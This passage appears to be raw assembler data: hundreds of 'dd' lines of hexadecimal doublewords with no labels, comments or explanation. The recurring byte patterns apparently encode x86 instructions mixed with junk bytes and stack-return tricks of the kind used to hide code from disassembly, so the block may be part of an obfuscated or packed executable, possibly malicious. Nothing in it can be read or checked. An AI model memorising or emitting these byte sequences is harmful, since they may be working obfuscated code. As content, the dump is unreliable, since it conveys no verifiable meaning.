		dd 5BD3FF06h, 49958958h, 8B06A80Fh, 0A82E2D95h,	0E8C08B06h
		dd 5, 0D21441EBh, 81BD8BFDh, 5A06A831h,	10E9C08Bh, 0D8000000h
		dd 93FC2648h, 0BB9D773Fh, 0EC5763F9h, 8343DDB4h, 0A81ED9BDh
		dd 9750006h, 2DE9BD83h,	740006A8h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 6AAA04Eh, 585BD3FFh,	2DE9BD83h, 740006A8h, 0B8535011h
		dd 0
		dd 9EFF9D8Dh, 0D3FF06AAh, 6A585Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 35235EC3h, 6840F57h
		dd 31000000h, 0A81D45B5h, 6800F06h, 81000000h, 41EAE6D1h
		dd 66C08B0Ch, 695FE781h, 6E9C08Bh, 0BB000000h, 3C8876EDh
		dd 0D9BD835Bh, 6A81Eh, 0BD830975h, 6A82DE9h, 50137400h
		dd 0B8C08B53h, 0
		dd 9F809D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h,	50117400h
		dd 0B853h, 9D8D0000h, 6AA9ECDh,	585BD3FFh, 14880Fh, 0FE90000h
		dd 0DE000000h, 0F61F6016h, 51F82598h, 774AD3C1h, 0FA8B6EBEh
		dd 958BC08Bh, 6A80565h,	8B66C08Bh, 0D9BD83FAh, 6A81Eh
		dd 0BD830975h, 6A82DE9h, 50137400h, 0B8C08B53h,	0
		dd 9FE79D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h,	50117400h
		dd 0B853h, 9D8D0000h, 6AA9EE6h,	585BD3FFh, 0E19503F8h
		dd 8B06A800h, 8D89F5C0h, 6A80C39h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0E5CA33C3h
		dd 870922ECh, 8E951h, 60C70000h, 3DA751E6h, 83FC4306h
		dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535013h
		dd 0B8C0h, 9D8D0000h, 6AA9F19h,	585BD3FFh, 0D35860BAh
		dd 2BC08B6Dh, 0A8210995h, 0E8C08B06h, 11h, 0E7A7ABDDh
		dd 0BB54DF48h, 8211E256h, 42089557h, 95895601h,	6A80955h
		dd 0BD835F59h, 6A81ED9h, 83097500h, 0A82DE9BDh,	19740006h
		dd 0C08B5350h, 7D0B8h, 0B5858900h, 8D06A807h, 0AAA1AC9Dh
		dd 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h, 7D0B8h, 0B5858900h
		dd 8D06A807h, 0AA9E9B9Dh, 5BD3FF06h, 10E858h, 323D0000h
		dd 6455036Ah, 1BBF6927h, 0F6FACCD1h, 9D89464Dh,	6A80D51h
		dd 0D78B6659h, 0BD8BC08Bh, 6A80CF1h, 15D585C6h,	0F5306A8h
		dd 9068D1B7h, 6A99395Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0B4ACC355h,	0F96191Dh
		dd 660A10E2h, 0FFB04BB9h, 0A831F9B5h, 0CA816606h, 858D1992h
		dd 6A83AC3h, 31918D8Bh,	0D0FF06A8h, 7840Fh, 66600000h
		dd 1A29C281h, 0DD858961h, 8006A820h, 85C666F6h,	6A815D5h
		dd 9830F57h, 0F000000h,	38Fh, 0D3BF0F00h, 4520668h, 44BA6690h
		dd 0F9B5FF3Ah, 8906A831h, 0A81A31BDh, 0C3858D06h, 6006A83Ah
		dd 0DFE88166h, 699D8BEEh, 6106A809h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0AF6654C3h
		dd 718D0160h, 8B06A80Fh, 0A80D45B5h, 85896106h,	6A82A7Dh
		dd 6840Fh, 9D290000h, 6A80E8Dh,	1C31BD8Bh, 85C606A8h, 6A815D5h
		dd 52006A43h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 4527D09Bh, 786D5479h, 1D8D8B97h,	6806A814h
		dd 0BC907028h, 1D459589h, 0B5FF06A8h, 6A831F9h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7C35242h, 5EF98C37h
		dd 290EE2D5h, 0A806618Dh, 0C3858D06h, 0FF06A83Ah, 899D89D0h
		dd 8906A802h, 0A8028185h, 0D585C606h, 4C06A815h, 0DA1CE968h
		dd 0F9B5FFD9h, 6A06A831h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0EC9FC353h,	9E38DF3Ch
		dd 32098D8Bh, 858D06A8h, 6A83AC3h, 0FFC88B66h, 68D0FD0h
		dd 8B000000h, 0A831498Dh, 0ED858906h, 0B206A81Eh, 0D585C648h
		dd 4606A815h, 615BD29h,	146806A8h, 0E9BADE06h, 7, 0F734DFE8h
		dd 0FF0934C9h, 0A831F9B5h, 96BF6606h, 0C3858DDAh, 8B06A83Ah
		dd 0A82245BDh, 0BAD0FF06h, 7AE317E5h, 2FA98589h, 850906A8h
		dd 6A80AFDh, 3001B529h,	85C606A8h, 6A815D5h, 0B5E26847h
		dd 8B608A0Fh, 0A801AD9Dh, 9C2BE06h, 0FF613DBFh,	0A831F9B5h
		dd 0FE806h, 0E9370000h,	0F01AB8B9h, 7479257Bh, 5CD6C10h
		dd 0DDB5290Fh, 5A06A821h, 0B5958957h, 5F06A80Fh, 3AC3858Dh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0B02FC0C3h, 1660179Fh, 8BA05DC2h,	59D29CBh
		dd 0FF06A81Fh, 1B3FBAD0h, 85896B56h, 6A80909h, 68D0Fh
		dd 0D1810000h, 4C3E3F5Fh, 15D585C6h, 804706A8h,	0F368B6C2h
		dd 983D0B5h, 0A8266D95h, 119D0906h, 0FF06A810h,	0A831F9B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 36679CE7h, 7A14697Ah, 0C18022BFh, 0C3858DB1h
		dd 8906A83Ah, 0A80F299Dh, 66D0FF06h, 89E294BFh,	0A81AC985h
		dd 5F28106h, 0C67C9FE8h, 0A815D585h, 6A7706h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 356D2BC3h
		dd 8B6652F1h, 0A3685FCEh, 66F397A8h, 0B5FFD08Bh, 6A80D2Dh
		dd 0DE9h, 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 858D7FF7h
		dd 6A83AC3h, 34298589h,	0D0FF06A8h, 263D8589h, 858906A8h
		dd 6A82235h, 25298D8Bh,	85C606A8h, 6A815D5h, 48B0F47h
		dd 66000000h, 68EBA7BFh, 8728FAF6h, 2123BF66h, 31F9B5FFh
		dd 0D08B06A8h, 3AC3858Dh, 0D0FF06A8h, 8589CF8Bh, 6A832D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h
		dd 0B70FF3A7h, 19BD8BCBh, 8106A815h, 0E93C5FEAh, 0D585C662h
		dd 4306A815h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	34C35545h, 0F69095AFh, 0F59D89DBh, 6806A801h, 0BC8E6EFCh
		dd 575B76B9h, 0F9B5FF7Ah, 6A06A831h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 99EBC353h
		dd 0E78166D6h, 858D0E73h, 6A83AC3h, 0CE957h, 59620000h
		dd 72D2F326h, 19F78400h, 0FF5F4988h, 599531D0h,	8906A809h
		dd 0A81AC185h, 6E806h, 6F630000h, 66B78AF2h, 0EA38BA66h
		dd 28E0F5Ah, 8B000000h,	0D585C6D0h, 4506A815h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2BC35747h, 294DA721h
		dd 0A821158Dh, 69696806h, 85898E72h, 6A80579h, 31F9B5FFh
		dd 12E906A8h, 0D000000h, 3974D0F2h, 11F616ECh, 0DBE6EACEh
		dd 0F5C00FE4h, 49958BA0h, 8D06A826h, 0A83AC385h, 6870F06h
		dd 0B000000h, 0A80D45BDh, 8BD0FF06h, 818589CFh,	0C606A800h
		dd 0A815D585h, 9D294406h, 6A80099h, 0F2EC6468h,	0FFD38BB8h
		dd 0A831F9B5h, 0C3858D06h, 3106A83Ah, 0A82E4595h, 8BD0FF06h
		dd 0D58589CEh, 6606A829h, 0C63D84B9h, 0A815D585h, 6A4306h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 218799C3h, 3DDBA52Bh, 57C28166h, 4AA76830h, 3B9C076h
		dd 0FF616898h, 0A831F9B5h, 0FFB70F06h, 3AC3858Dh, 896006A8h
		dd 0A80F8D85h, 0D6816606h, 0B96151B6h, 70B41DA8h, 0DE9D0FFh
		dd 0A5000000h, 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0F558589h
		dd 0BD2306A8h, 6A80F7Dh, 0F787BD80h, 0F0006AAh,	7284h
		dd 0CDBD0100h, 8D06A819h, 0AAF76985h, 6E806h, 0B53F0000h
		dd 0DE5F101Dh, 17D9D89h, 505906A8h, 7D850960h, 2906A822h
		dd 0A807E1BDh, 16A6106h, 0B297B966h, 8D8B006Ah,	6A82801h
		dd 0BD8B006Ah, 6A826ADh, 28195FFh, 95B106A8h, 0D6D8589h
		dd 958B06A8h, 6A81AADh,	0E981FF6Ah, 0EA6409Eh, 0D6DB5FFh
		dd 665306A8h, 6E8AE281h, 7D95FF5Ah, 8B06A82Ah, 50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A50460F5h, 605EFFDEh, 8D1958Bh, 858B06A8h, 6A8257Dh
		dd 12E861h, 0C55F0000h,	5A413953h, 8E54C416h, 9308CC5Fh
		dd 5AADBF2Bh, 19ED958Bh, 835F06A8h, 0A81ED9BDh,	9750006h
		dd 2DE9BD83h, 740006A8h, 8B535019h, 7D1B8C0h, 85890000h
		dd 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h
		dd 50177400h, 7D1B853h,	85890000h, 6A807B5h, 9E9B9D8Dh
		dd 0D3FF06AAh, 0EF8A585Bh, 0FE9h, 23921B00h, 0CF4608C9h
		dd 0CEBCACD8h, 0B1141E2Fh, 0EC8AC08Bh, 15D585C6h, 894706A8h
		dd 0A80D31BDh, 0F7C16806h
		dd 6A93C8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 11E883C3h, 25000000h, 0EA7B9F24h,	70028E81h
		dd 3B483341h, 89C35875h, 59FEBF0Fh, 31F9B5FFh, 0BD8906A8h
		dd 6A80DE5h, 3AC3858Dh,	0EE8006A8h, 6AD0FFE2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0A807C353h, 9E982h, 83890000h, 0D19C19F3h, 5070BDCFh
		dd 140D9D89h, 858D06A8h, 6AAFBAAh, 0CB18D8Bh, 0C706A8h
		dd 94h,	0ABA4B966h, 58F8BF0Fh, 0FBAAB58Dh, 0E58006AAh
		dd 8B505605h, 0A80CF995h, 0D0FF5F06h, 0E9CCB760h, 0Fh
		dd 6C5A7736h, 552D1A5Fh, 0A7F371EEh, 61223B3Fh,	0FBAA858Dh
		dd 8D8906AAh, 6A82DE5h,	6047883h, 29850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 76FEB6C3h, 3E85C7F9h, 106AAFCh, 83000000h, 0A806D9BDh
		dd 850F0006h, 9Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0B8C35747h, 971D92E5h, 33501F5Fh, 0A8265DBDh
		dd 0BD835906h, 6AAFC3Eh, 66850F00h, 89000000h, 0A81DC995h
		dd 0BE906h, 9E6E0000h, 8F3C3CDBh, 905C7BD9h, 6DBD83D7h
		dd 6A827h, 43840Fh, 85C70000h, 6A81BFDh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 6CC35242h
		dd 0CC1A9C8Ch, 0FA74375h, 589h,	0E7FDBA00h, 6E97AA8h, 0BF000000h
		dd 0A660983h, 0DB8C6694h, 0C3F6F9FCh, 0B2840F04h, 29000005h
		dd 0A832A595h, 9D85C706h, 6A833h, 66000000h, 0EAB3F181h
		dd 0F794BD80h, 0F0006AAh, 185h,	85C6F500h, 6A815D5h, 17800F47h
		dd 0E9000000h, 12h, 5F6275E5h, 0F37BF6F0h, 0E89AD391h
		dd 0D95B4097h, 866823FFh, 0FFE3E45Bh, 0A831F9B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 858DC4E1h, 6A83AC3h,	0D0FFDBB2h, 68D18B66h, 104h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 44C35646h, 7D4C118h
		dd 2CC1B529h, 9D8D06A8h, 6A81C35h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0F3C35242h,	0BF66D238h, 0BA538551h
		dd 38F35197h, 6AD0FFF9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 833CC355h, 0F0B5AB4h
		dd 8166D7BFh, 8DB2B1D2h, 0A81C3585h, 38F0F06h, 0F000000h
		dd 0BF50D2B7h, 7C96AFC7h, 0F746858Dh, 14E906AAh, 0F6000000h
		dd 0B39CF318h, 0C082F08Bh, 0B7341FAEh, 196BF660h, 50ECAB64h
		dd 5E9h, 0B44A7E00h, 8D0F9443h,	3, 8DCA8B66h, 0AAEE1985h
		dd 99958B06h, 5006A829h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 1AC35747h, 8C0996B9h,	6810F26h, 0B000000h
		dd 0A82F998Dh, 3595FF06h, 8B06A822h, 0A8029595h, 0CC48306h
		dd 6810Fh, 8D890000h, 6A80BA5h,	8068006Ah, 6A000000h, 6A006A03h
		dd 6800h, 858D8000h, 6AAEE19h, 0C195FF50h, 8906A81Ah, 0AAF72985h
		dd 0D585C606h, 4706A815h, 0B15E8768h, 0F9B5FFC7h, 8D06A831h
		dd 0A83AC385h, 6AD0FF06h, 29B5FF00h, 0FF06AAF7h, 0D18151D0h
		dd 2505A61h, 6800F59h, 89000000h, 0A831D19Dh, 37D03D06h
		dd 830F0000h, 48h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 9EC35242h, 0FFD08B66h, 0AAF729B5h, 71BD2906h
		dd 8B06A82Ch, 0A819F595h, 5595FF06h, 8B06A80Fh,	0A82CBDBDh
		dd 0DFE906h, 0BD890000h, 6A82CD5h, 0F729B5FFh, 8D8906AAh
		dd 6A81A5Dh, 0F5595FFh,	0ADB106A8h, 8A0F006Ah, 2, 6ACF8Bh
		dd 6A34B5h, 15EDB589h, 5A5306A8h, 11E9006Ah, 56000000h
		dd 6A46BDDDh, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 4CC4CEC3h, 0BC9A72Dh, 0A8306595h, 0C9BD2906h, 6A06A830h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 391B67A7h, 0B3D8D8Bh, 858D06A8h,	6AAF72Dh
		dd 6820Fh, 0BD8B0000h, 6A83495h, 50CAB70Fh, 85896BB5h
		dd 6A8021Dh, 1AC195FFh,	0B58906A8h, 6A82C9Dh, 0F883FA8Bh
		dd 77850FFFh, 0F000001h, 48Ch, 10B96600h, 0B9858D11h, 0BA06AAB2h
		dd 46D96D6h, 8060D0FFh,	9D8BF6F1h, 6A80621h, 6A006A61h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7C02C357h, 0CA881FCh, 8B8473AEh, 0A834A595h
		dd 0CA816606h, 6ADA7Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 9CC35747h, 9E9A410h, 0C8000000h, 0A6396C5h
		dd 0A7A45CCFh, 8589006Ah, 6A8310Dh, 0AE9006Ah, 53000000h
		dd 0D01BE089h, 0D28372A7h, 8B006A62h, 8B006AF8h, 0A80E3995h
		dd 5D8D8B06h, 8D06A834h, 0AAF72D85h, 1BD2B06h, 5006A802h
		dd 9E9h, 0FEC97100h, 0CF3280A7h, 95FFF014h, 6A81AC1h, 0C5D9589h
		dd 0F88306A8h, 9B850FFFh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DC9FC350h
		dd 8D0F5AC6h, 1Dh, 11E8h, 0A8AC6400h, 907A57F1h, 1527E025h
		dd 5638E797h, 9589E331h, 6A80971h, 3DF815Ah, 8D76BAA5h
		dd 0AAF135B5h, 0CE8B6006h, 16D99531h, 8D6106A8h, 0AA9B7C85h
		dd 12E906h, 0D20D0000h,	1965609Ch, 480A62CEh, 537775E8h
		dd 88F3C493h, 14AD8D8Bh, 0D0FF06A8h, 0E45BD8Bh,	3DBF06A8h
		dd 6A26BE51h, 0B98D2B00h, 0FF06A826h, 0A8008195h, 5FBDBA06h
		dd 85896312h, 6AAF729h,	219D8D09h, 6A06A8h, 21858DF9h
		dd 5006AAF7h, 153237B9h, 8D046A43h, 0A8072585h,	4800F06h
		dd 66000000h, 50D5CCB9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 0DCC35646h, 8B2BCE00h, 0A8160995h, 0F88B6606h
		dd 0BA66006Ah, 6A97D5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 5C35343h, 9701278Ch, 25099D89h, 958906A8h
		dd 6A82B15h, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C50617C3h, 0FF67BDC4h, 0AAF729B5h
		dd 419D8906h, 0BF06A826h, 2667384Eh, 29D595FFh,	10E806A8h
		dd 2C000000h, 64CA30B6h, 84627862h, 294D2BC9h, 0E88C478Dh
		dd 0Dh,	0CBB0BB8Eh, 428B7524h, 0A418932h, 8E0F95h, 5A000000h
		dd 1AFDE95Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0DEB536C3h, 9F6C9A0Fh, 25C28166h
		dd 60C08BD9h, 0EE9h, 0BE0C1800h, 0C3958815h, 64D7BDF4h
		dd 81C4F2D9h, 6295E8F7h, 0BD836142h, 6A81ED9h, 83097500h
		dd 0A82DE9BDh, 19740006h, 0C08B5350h, 7D2B8h, 0B5858900h
		dd 8D06A807h, 0AAA1AC9Dh, 5BD3FF06h, 0E9BD8358h, 6A82Dh
		dd 53501774h, 7D2B8h, 0B5858900h, 8D06A807h, 0AA9E9B9Dh
		dd 5BD3FF06h, 0AD9D8958h, 6606A815h, 0D0F2C781h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 7D08E6C3h, 0C7C88BEAh, 0A8339D85h, 106h, 0EE800h, 7D3F0000h
		dd 1C15EAC7h, 0F3D6602h, 0C0976803h, 0FA5958Bh,	685A06A8h
		dd 0CEE4E7B8h, 69DB5FFh, 858D06A8h, 6A83AC3h, 8589D0FFh
		dd 6A817F1h, 0F985858Dh, 8D5006AAh, 0AAFC4285h,	1685006h
		dd 0FF800000h, 0A817F195h, 75C00B06h, 3D85C70Ah, 106A832h
		dd 68000000h, 0C005DBD4h, 69DB5FFh, 858D06A8h, 6A83AC3h
		dd 8589D0FFh, 6A80D11h,	0EBD2858Dh, 0FF5006AAh,	0A831F9B5h
		dd 995FF06h, 0B06A809h,	8B0B74C0h, 85858DD8h, 5006AAFBh
		dd 858DD3FFh, 6AAFB85h,	9388366h, 85C70A75h, 6A80A99h
		dd 1, 32D195FFh, 0FF2506A8h, 83000000h,	0A7305F8h, 21C585C7h
		dd 106A8h, 8AF80000h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 43C7CC2Ch, 18899BF9h
		dd 0BD80BE0Ch, 6AAF794h, 2B840F00h, 8B000000h, 0A805218Dh
		dd 3EBD8306h, 6AAFCh, 41840Fh, 8E80000h, 35000000h, 3F60F617h
		dd 609FA87Ah, 66D3B70Fh, 0A5D1DF81h, 0CE95961h,	6A000019h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 6870C352h, 2B2AAB7Ah, 83FEB70Fh, 0A80A99BDh
		dd 850F0006h, 90h, 10E9h, 0DAF1B500h, 0FCD986D5h
		dd 0D57EE54Ch, 4B87382h, 5E858DBDh, 5006AAF7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DFC35343h, 16A00E2h
		dd 6ACE8Bh, 10E9h, 3E988900h, 0C7B338BAh, 60A8B530h, 0EA63B6B1h
		dd 8B006AB9h, 8195FFD7h, 8906A802h, 0A807C9B5h,	88858906h
		dd 0BF06AAF7h, 623F6373h, 0BD8BFF6Ah, 6A817CDh,	0F788B5FFh
		dd 8D8B06AAh, 6A81509h,	95FFD7B1h, 6A82A7Dh, 0A796B966h
		dd 0EB99858Dh, 10E906AAh, 0BE000000h, 86400CDAh, 0A2445Eh
		dd 12D6BA54h, 0FCB83E1h, 6A50FFB7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 9F9CC352h
		dd 9DD7DA81h, 9E9057Ah,	6B000000h, 0DD47C457h, 732F19E4h
		dd 1EED95FFh, 816606A8h, 898A04DAh, 0AAEC2385h,	20D98106h
		dd 8D537460h, 0AAEBA685h, 2850F06h, 8B000000h, 820F50CFh
		dd 16h,	11E9h, 0B1F90900h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh
		dd 12E9A27Eh, 0CE000000h, 75A0BB9Eh, 0D285B7BFh, 0F2A750C4h
		dd 0BD8207B2h, 23B5FF45h, 0E806AAECh, 5, 0BC0CD60Ch, 0C28166AEh
		dd 0FF5A3C62h, 0A8090995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8589FB97h
		dd 6A814B1h, 2E11BD8Bh,	858D06A8h, 6AAEC14h, 1820F60h
		dd 0FC000000h, 96ADCA81h, 896178E5h, 0A832D595h, 0B5FF5006h
		dd 6AAEC23h, 90995FFh, 0FAB906A8h, 8972A4DFh, 0AAEC3785h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0FC558B76h, 3216F28h, 798D8BDAh,	8B06A830h
		dd 0A8312995h, 0F3858D06h, 6A06AAEBh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3127C356h
		dd 0B5FF5062h, 6AAEC23h, 0FFC9BF0Fh, 0A8090995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 81667343h, 89F0DAE2h, 0AAEC2F85h, 0B1B52906h, 8D06A82Fh
		dd 0AAEBE685h, 0B99D0906h, 5006A830h, 0AE9h, 25135800h
		dd 0A0195FC1h, 0FFCE2C63h, 0AAEC23B5h, 0DDBD8B06h, 0FF06A810h
		dd 0A8090995h, 0CBB70F06h, 0EC338589h, 816606AAh, 80CFC4D1h
		dd 858D7AD9h, 6AAEC01h,	1E259D29h, 0FF5006A8h, 0AAEC23B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 6A05A685h, 8A0F691Ch, 4,	0ABB8B966h, 90995FFh
		dd 858906A8h, 6A8330Dh,	2899B589h, 0BD8B06A8h, 6A82115h
		dd 0EBB5858Dh, 0CA8B06AAh, 26B96650h, 0FFF88B63h, 0AAEC23B5h
		dd 0A8BDB906h, 95FF3680h, 6A80909h, 7E8h, 0C74A4300h, 0ECEACC61h
		dd 2785895Fh, 6A06AAECh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 38F2C350h, 858D853Bh
		dd 6AAEBC4h, 0FE9h, 0F0397000h,	0A402FA40h, 84AA753Dh
		dd 834D3551h, 3FDD8050h, 0EC23B5FFh, 0BEB906AAh, 0FF0F9531h
		dd 0A8090995h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 57A32A73h, 0E2B9662Ch
		dd 0E2816647h, 8589EB98h, 6AAEC2Bh, 8BFBB70Fh, 0A822D9BDh
		dd 1046806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 858DBEC3h, 6AAECBBh, 51006A50h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 7C5C87CEh, 668040B6h, 0C836D981h, 8DC4F580h,	0AAEDBF85h
		dd 31F95006h, 0A820D98Dh, 0C995FF06h, 8B06A81Ah, 0A8345995h
		dd 3850F06h, 66000000h,	0C085F98Bh, 2E850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0E10A15C3h, 561CA90Bh, 0B966D7CDh, 0BD0B3904h, 6A825E1h
		dd 0F794BD80h, 0F0006AAh, 2F85h, 0E9F08A00h, 148Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D8C35242h, 86BCA463h
		dd 8589A092h, 6A80721h,	0A99BD83h, 0F0006A8h, 1085h, 3EBD8300h
		dd 6AAFCh, 5D840Fh, 8B660000h, 58858DD3h, 8B06AAECh, 0A80B018Dh
		dd 1435E906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FACDCC3h, 28Bh,	0E95F5200h, 2Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0B2C35040h
		dd 8D525EACh, 0AAEC4385h, 71950106h, 5006A80Ah,	0C5958950h
		dd 5A06A810h, 0ECBB858Dh, 61B506AAh, 57006A50h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0C4B966D1h
		dd 99BD8367h, 6A80Ah, 3E840Fh, 81660000h, 8D25EBF2h, 0AAEDE185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 81666CCEh, 0E9E839D7h, 13h, 6870Fh, 958B0000h
		dd 6A83039h, 0EDCA858Dh, 50F906AAh, 918EA81h, 858D6227h
		dd 6AAEE19h, 5850Fh, 3FBA0000h,	50373BF5h, 3595FFFCh, 6006A822h
		dd 56EC1FB9h, 0B9BD891Fh, 6106A828h, 2910C483h,	0A82F35B5h
		dd 0E9C08B06h, 13h, 10620C9Ch, 63B7AD8Ah, 6381D9B5h, 2CFB531Fh
		dd 83BBA826h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h
		dd 8B535019h, 7D3B8C0h,	85890000h, 6A807B5h, 0A1AC9D8Dh
		dd 0D3FF06AAh, 0BD83585Bh, 6A82DE9h, 50177400h,	7D3B853h
		dd 85890000h, 6A807B5h,	9E9B9D8Dh, 0D3FF06AAh, 13E9585Bh
		dd 4F000000h, 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh
		dd 0C180C024h, 6AC08B78h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 89E9C350h, 6E986AEh
		dd 0C6000000h, 0A0270575h, 43BD8121h, 6F06AAECh, 0F616572h
		dd 0B784h, 0FD8D8900h, 8D06A814h, 0AAECBB85h, 858D5006h
		dd 6AAEDF8h, 19858D50h,	5006AAEEh, 223595FFh, 0C48306A8h
		dd 0D585C60Ch, 4406A815h, 0A3184F68h, 0F9B5FF96h, 8D06A831h
		dd 0A83AC385h, 8BD0FF06h, 19858DD8h, 5006AAEEh,	858DD3FFh
		dd 6AAEC43h, 0BB858D50h, 5006AAECh, 0A99BD83h, 740006A8h
		dd 0E1858D08h, 0EB06AAEDh, 0CA858D06h, 5006AAEDh, 0EE19858Dh
		dd 0FF5006AAh, 0A8223595h, 10C48306h, 0AE9h, 0AA07CA00h
		dd 0ECF4C7Eh, 6ABC53F2h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 3B6DC351h, 9058D03h
		dd 9D8906A8h, 6A80AD5h,	32D195FFh, 0DF8106A8h, 8A279EDh
		dd 0FF25h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0A5D1D2E0h, 528A8E19h, 0C8B70F56h
		dd 12E95A5Ah, 0F4000000h, 0C9EB927h, 0F839A844h, 0E56CC8F5h
		dd 0C5D0695Eh, 5F8832Eh, 39830Fh, 61B90000h, 0C73E4AAEh
		dd 0A821C585h, 106h, 0D18B6600h, 0EC77858Dh, 9E906AAh
		dd 70000000h, 0F71B15A3h, 653C7276h, 60E9h, 0BD8B6000h
		dd 6A81605h, 21A9BD8Bh,	836106A8h, 0A80A99BDh, 840F0006h
		dd 33h,	0F09B589h, 858D06A8h, 6AAECA2h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 65C35646h, 80F06836h
		dd 12E96BDEh, 8D000000h, 0AAEC8485h, 6840F06h, 1000000h
		dd 0A8302D8Dh
